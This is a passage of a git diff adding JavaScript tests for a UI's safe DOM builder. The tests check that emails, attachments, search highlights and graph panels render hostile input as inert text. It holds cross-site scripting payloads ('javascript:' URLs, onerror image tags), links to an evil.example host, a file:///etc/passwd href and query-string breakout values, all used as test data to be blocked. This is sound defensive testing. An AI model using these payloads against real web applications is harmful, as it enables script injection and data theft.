email shows its headers, body and attachments — all as text', () => {+ const rec = renderRecord(hostileEmail, { related: { attachments: [hostileAttachment, hostileAttachment2] } });+ assertShownAsText(rec, PAYLOADS.script, 'subject');+ assertShownAsText(rec, PAYLOADS.imgOnerror, 'subject/body');+ assertShownAsText(rec, PAYLOADS.svgOnload, 'from');+ assertShownAsText(rec, '<html><body onload=', 'an HTML email is shown as its source, never rendered');+ assertShownAsText(rec, 'https://evil.example/pay', 'a URL in a document is displayed');+ // …and is NOT a link: the only anchors are in-app routes to other records.+ const anchors = findAll(rec, (n) => n.tag === 'a');+ assert.equal(anchors.length, 2, 'one link per attachment, nothing else (no file record was passed)');+ for (const a of anchors) assert.match(a.attrs.href, /^#\/reader\?/);+ // hostile attachment FILENAMES are text inside the link+ assertShownAsText(anchors[0], hostileAttachment._source.attachment_name, 'attachment name');+ assertShownAsText(anchors[1], hostileAttachment2._source.attachment_name, 'javascript:-named attachment');+ assert.ok(textOf(rec).includes('ATTACHMENTS · 2'));+});++test('an attachment shows its name, type and parent email as text', () => {+ const rec = renderRecord(hostileAttachment, { related: { parent: hostileEmail } });+ assertShownAsText(rec, hostileAttachment._source.attachment_name);+ assertShownAsText(rec, 'PDF ATTACHMENT · PAGE 2');+ assertShownAsText(rec, 'FROM EMAIL');+ assert.equal(recordTitle(hostileAttachment._source, 'x'), hostileAttachment._source.attachment_name);+ // a non-numeric attachment_bytes never becomes "NaN MB" or markup+ assert.ok(!textOf(rec).includes('NaN'));+ const noText = renderRecord(hostileAttachment2, {});+ assertShownAsText(noText, 'No text was extracted from this attachment');+});++test('pdf, code and generic records keep hostile text literal', () => {+ assertShownAsText(renderRecord(hostilePdf), PAYLOADS.details);+ assertShownAsText(renderRecord(hostileCode), PAYLOADS.script);+ const gen = renderRecord(hostileGeneric);+ assertShownAsText(gen, `key${PAYLOADS.imgOnerror}`.replace(/"/g, '\\"'), 'a hostile KEY is JSON text');+ assertShownAsText(gen, '1 vector/passage field not shown: body_vector');+ assert.ok(!textOf(gen).includes('0.1'), 'vector values are not dumped');+});++test('result list: honest empty state, highlight fragments inert', () => {+ const empty = renderResultList([], { emptyText: 'Search failed: not permitted. Nothing is shown in its place.' });+ assertInert(empty);+ assert.equal(findAll(empty, (n) => n.tag === 'a').length, 0, 'an empty result renders zero cards');+ const list = renderResultList(HOSTILE_HITS, { selectedId: HOSTILE_ID });+ assertInert(list);+ const marks = findAll(list, (n) => n.tag === 'mark');+ assert.ok(marks.length >= 1, 'highlights are marked');+ for (const m of marks) assert.ok(m.children.every((c) => typeof c === 'string'));+ assert.equal(findAll(list, (n) => n.tag === 'a').length, HOSTILE_HITS.length);+});++test('graph panel: hostile node titles, edge types and ids are inert', () => {+ const groups = groupNeighbors(hostileEgo, HOSTILE_ID);+ assert.equal(groups.length, 3);+ const panel = renderGraphPanel({ status: 'ok', groups, notShown: hostileEgo.not_shown, brain: `inbox${PAYLOADS.script}`, index: 'ax-inbox' });+ assertInert(panel, 'graph');+ assertShownAsText(panel, PAYLOADS.script, 'neighbour title');+ assertShownAsText(panel, '<IMG SRC=X ONERROR=', 'an unknown edge type is displayed (upper-cased) as text');+ const links = findAll(panel, (n) => n.tag === 'a');+ assert.equal(links.length, 3);+ for (const a of links) assert.match(a.attrs.href, /^#\/reader\?/);+ // A neighbour whose ID is a javascript: URL is still only a query-string value.+ const js = links.find((a) => a.attrs['data-reader-open'].startsWith('javascript:'));+ assert.ok(js && js.attrs.href.startsWith('#/reader?'));+ assert.equal(edgeLabel('__proto__'), ' proto ', 'an inherited key is not a label; the raw type is shown');+ assert.equal(edgeLabel('constructor'), 'constructor', 'prototype keys are not labels');+ // every other status is a plain sentence+ for (const status of ['idle', 'loading', 'no-brain', 'no-links', 'denied', 'error']) {+ for (const guest of [true, false]) {+ assertInert(renderGraphPanel({ status, guest, brain: PAYLOADS.imgOnerror, error: PAYLOADS.script }), `graph:${status}`);+ }+ }+ assert.ok(!textOf(renderGraphPanel({ status: 'denied', guest: true, error: 'HTTP 403 secret-detail' })).includes('secret-detail'),+ 'a guest is told the graph is not part of the share — not why the engine refused');+ assert.ok(!textOf(renderGraphPanel({ status: 'no-brain', guest: true, brain: 'x' })).includes('xerj brain'),+ 'a guest is not told how to build a brain on someone else\'s engine');+});++test('readerHref cannot be broken out of', () => {+ const href = readerHref({ index: 'a&id=evil#/settings', id: '1#/users?x=<script>', brain: '../../_cat' });+ assert.ok(href.startsWith('#/reader?'));+ const qs = new URLSearchParams(href.slice(href.indexOf('?') + 1));+ assert.deepEqual([...qs.keys()], ['index', 'id', 'brain']);+ assert.equal(qs.get('index'), 'a&id=evil#/settings');+ assert.equal(qs.get('id'), '1#/users?x=<script>');+ assert.ok(!href.includes('<'), 'markup characters are percent-encoded');+});++test('corpus cards: a hostile catalog entry renders inert', () => {+ const cards = parseCatalogHits([hostileCatalogHit, { _source: { doc_kind: 'run', index_name: 'nope' } }, { _source: {} }]);+ assert.equal(cards.length, 1, 'only dataset documents with an index name become cards');+ const card = renderCorpusCard(cards[0], {});+ assertInert(card, 'corpus card');+ assertShownAsText(card, `pdf${PAYLOADS.script}`, 'format');+ assertShownAsText(card, `email_from${PAYLOADS.imgOnerror}`, 'field name');+ // sample-query buttons carry DATA, as JSON, in an attribute.+ const btns = findAll(card, (n) => n.tag === 'button');+ assert.equal(btns.length, 3, 'two text samples and one term sample (the fixture gained a sample written for a field of its own)');+ // …including the FIELD a match sample was written for (PR #945 review)+ assert.deepEqual(btns.map((b) => JSON.parse(b.attrs['data-corpus-query']).field), ['body', undefined, 'ax_format']);+ for (const b of btns) {+ const spec = JSON.parse(b.attrs['data-corpus-query']);+ assert.equal(spec.index, 'ax-inbox');+ assert.equal(typeof spec.q, 'string');+ assert.ok(['match', 'term'].includes(spec.type));+ }+ const grid = renderCorpus({ status: 'ok', datasets: cards, summaries: [{ index: `x${PAYLOADS.imgOnerror}`, records: 3, emails: 1, attachments: 2, formats: [{ key: PAYLOADS.script, count: 3 }] }] });+ assertInert(grid, 'corpus grid');+ assertInert(renderSummaryCard({ index: 'ax-inbox', error: PAYLOADS.script, records: 0, emails: 0, attachments: 0, formats: [] }));+});++test('corpus home never shows a sample: empty → one command, error → the error', () => {+ const empty = renderCorpus({ status: 'ok', datasets: [], summaries: [] });+ assert.ok(textOf(empty).includes(EMPTY_COMMAND));+ assert.equal(findAll(empty, (n) => n.tag === 'article').length, 0);+ const guestEmpty = renderCorpusEmpty({ guest: true });+ assert.ok(!textOf(guestEmpty).includes('xerj brain'), 'a guest is not given operator commands');+ const err = renderCorpus({ status: 'error', error: 'HTTP 500' });+ assert.ok(textOf(err).includes('HTTP 500'));+ assert.ok(textOf(err).includes('Nothing is shown rather than a sample'));+ assert.equal(findAll(err, (n) => n.tag === 'article').length, 0);+ assert.ok(textOf(renderCorpus({})).includes('Reading what is indexed'));+});++test('a catalog sample query becomes a search only when it has a text query', () => {+ // the sample's own field rides along (PR #945 review: dropping it ran a sample over `text` against `body` — 0 results)+ assert.deepEqual(sampleQueryToSearch({ body: { query: { match: { body: { query: 'term sheet' } } } } }), { type: 'match', q: 'term sheet', field: 'body' });+ assert.deepEqual(sampleQueryToSearch({ body: { query: { semantic: { field: 'body', query: 'who approved it' } } } }), { type: 'semantic', q: 'who approved it' });+ assert.deepEqual(sampleQueryToSearch({ body: { query: { bool: { filter: [{ term: { email_from: 'a@b' } }] } } } }), { type: 'term', q: 'email_from=a@b' });+ assert.equal(sampleQueryToSearch({ body: { size: 0, aggs: { x: { terms: { field: 'y' } } } } }), null);+ assert.equal(sampleQueryToSearch({ body: null }), null);+ assert.equal(sampleQueryToSearch(null), null);+});diff --git a/xerj-ux/test/safe-dom.test.mjs b/xerj-ux/test/safe-dom.test.mjsnew file mode 100644index 000000000..055509e08--- /dev/null+++ b/xerj-ux/test/safe-dom.test.mjs@@ -0,0 +1,94 @@+// ux/safe-dom.js — the no-HTML-parser DOM builder the corpus home, the+// reader and the guest shell render through. Run: node --test xerj-ux/test/+import test from 'node:test';+import assert from 'node:assert/strict';+import { h, safeHref, attrAllowed, highlightChildren, highlightRequest, textOf, findAll, TAGS, ATTRS, HL_PRE, HL_POST } from '../src/ux/safe-dom.js';+import { PAYLOADS, HOSTILE_FRAGMENTS } from './fixtures/hostile.mjs';+import { assertInert, FORBIDDEN_TAGS, FORBIDDEN_ATTRS } from './fixtures/inert.mjs';++const CTRL = String.fromCharCode(1);+const TAB = String.fromCharCode(9);+const NL = String.fromCharCode(10);++test('a string child is always text, whatever it contains', () => {+ for (const [name, p] of Object.entries(PAYLOADS)) {+ const n = h('div', { title: p, 'data-x': p }, p);+ assert.deepEqual(n.children, [p], name);+ assert.equal(n.attrs.title, p, 'an attribute value is stored verbatim; setAttribute makes it inert');+ assert.equal(textOf(n), p);+ assertInert(n, name);+ }+});++test('the tag and attribute allow-lists contain nothing that loads, runs or submits', () => {+ for (const t of FORBIDDEN_TAGS) assert.ok(!TAGS.has(t), `<${t}> must not be allowed`);+ for (const a of FORBIDDEN_ATTRS) assert.ok(!ATTRS.has(a), `${a}= must not be allowed`);+ for (const a of ATTRS) assert.ok(!/^on/i.test(a), `${a} looks like an event handler`);+});++test('an unknown tag or attribute throws instead of rendering', () => {+ for (const t of FORBIDDEN_TAGS) assert.throws(() => h(t, null, 'x'), /not allowed/, t);+ for (const a of ['onclick', 'onerror', 'ONLOAD', 'style', 'src', 'srcdoc', 'formaction', 'xlink:href', 'data-', 'data-UPPER', 'aria-x y']) {+ assert.throws(() => h('div', { [a]: 'x' }), /not allowed/, a);+ }+ assert.throws(() => h('input', { type: 'file' }), /not allowed/);+ assert.throws(() => h('input', { type: 'password' }), /not allowed/);+ assert.throws(() => h('button', { type: 'submit' }), /not allowed/);+ assert.equal(h('button', null, 'x').attrs.type, 'button', 'a button can never submit');+ assert.ok(attrAllowed('data-reader-open') && attrAllowed('aria-label'));+ assert.ok(!attrAllowed('onclick') && !attrAllowed('data-') && !attrAllowed(null));+});++test('href survives only as an in-app hash route', () => {+ const bad = [+ PAYLOADS.jsUrl, PAYLOADS.jsUrlObf, PAYLOADS.dataUrl, PAYLOADS.vbUrl,+ 'JaVaScRiPt:alert(1)', `${CTRL}javascript:alert(1)`, ' #/reader', `${TAB}#/reader`, '#', '#reader', `#/reader${NL}javascript:alert(1)`,+ '//evil.example/x', 'https://evil.example/', 'http://localhost/', '/_xerj-console/api/v1/me', 'mailto:a@b', 'blob:x', 'file:///etc/passwd',+ '', null, undefined, 7, {}, ['#/x'],+ ];+ for (const v of bad) {+ assert.equal(safeHref(v), null, JSON.stringify(v));+ const a = h('a', { href: v }, 'x');+ assert.ok(!('href' in a.attrs), `href ${JSON.stringify(v)} must be dropped, leaving an inert <a>`);+ }+ assert.equal(safeHref('#/reader?index=a&id=b'), '#/reader?index=a&id=b');+ assert.equal(h('a', { href: '#/corpus' }, 'x').attrs.href, '#/corpus');+});++test('highlight fragments become text + <mark>, never markup', () => {+ for (const frag of HOSTILE_FRAGMENTS) {+ for (const tags of ['markers', 'em']) {+ const kids = highlightChildren(frag, { tags });+ const wrap = h('span', null, kids);+ assertInert(wrap, `fragment ${JSON.stringify(frag.slice(0, 30))} (${tags})`);+ for (const k of kids) {+ if (typeof k === 'string') continue;+ assert.equal(k.tag, 'mark');+ assert.deepEqual(Object.keys(k.attrs), []);+ assert.ok(k.children.every((c) => typeof c === 'string'), 'a <mark> holds text only');+ }+ const text = textOf(wrap);+ assert.ok(!text.includes(HL_PRE) && !text.includes(HL_POST), 'delimiters are never displayed');+ }+ }+ const kids = highlightChildren(`pay the ${HL_PRE}invoice${HL_POST} <b>now</b>`);+ assert.deepEqual(kids.map((k) => (typeof k === 'string' ? k : `[${textOf(k)}]`)), ['pay the ', '[invoice]', ' <b>now</b>']);+ // `<em>` mode matches the two tags literally and nothing else.+ const em = highlightChildren('a <em>b</em> <img src=x onerror=1> <EM>c</EM>', { tags: 'em' });+ assert.deepEqual(em.map((k) => (typeof k === 'string' ? k : `[${textOf(k)}]`)), ['a ', '[b]', ' <img src=x onerror=1> <EM>c</EM>']);+ assert.deepEqual(highlightChildren(null), []);+ assert.equal(findAll(h('span', null, highlightChildren(HOSTILE_FRAGMENTS[1])), (n) => n.tag !== 'span' && n.tag !== 'mark').length, 0);+});++test('the highlight request names our delimiters in BOTH spellings', () => {+ // The ES-compat route reads pre_tags/post_tags; the console search proxy+ // reads pre_tag/post_tag (xerj-console-api/tests/reader_proxy.rs).+ const r = highlightRequest(['body', '', null, 'email_subject']);+ assert.deepEqual(r.pre_tags, [HL_PRE]);+ assert.deepEqual(r.post_tags, [HL_POST]);+ assert.equal(r.pre_tag, HL_PRE);+ assert.equal(r.post_tag, HL_POST);+ assert.deepEqual(Object.keys(r.fields), ['body', 'email_subject']);+ assert.equal(HL_PRE.charCodeAt(0), 0xe000);+ assert.equal(HL_POST.charCodeAt(0), 0xe001);+});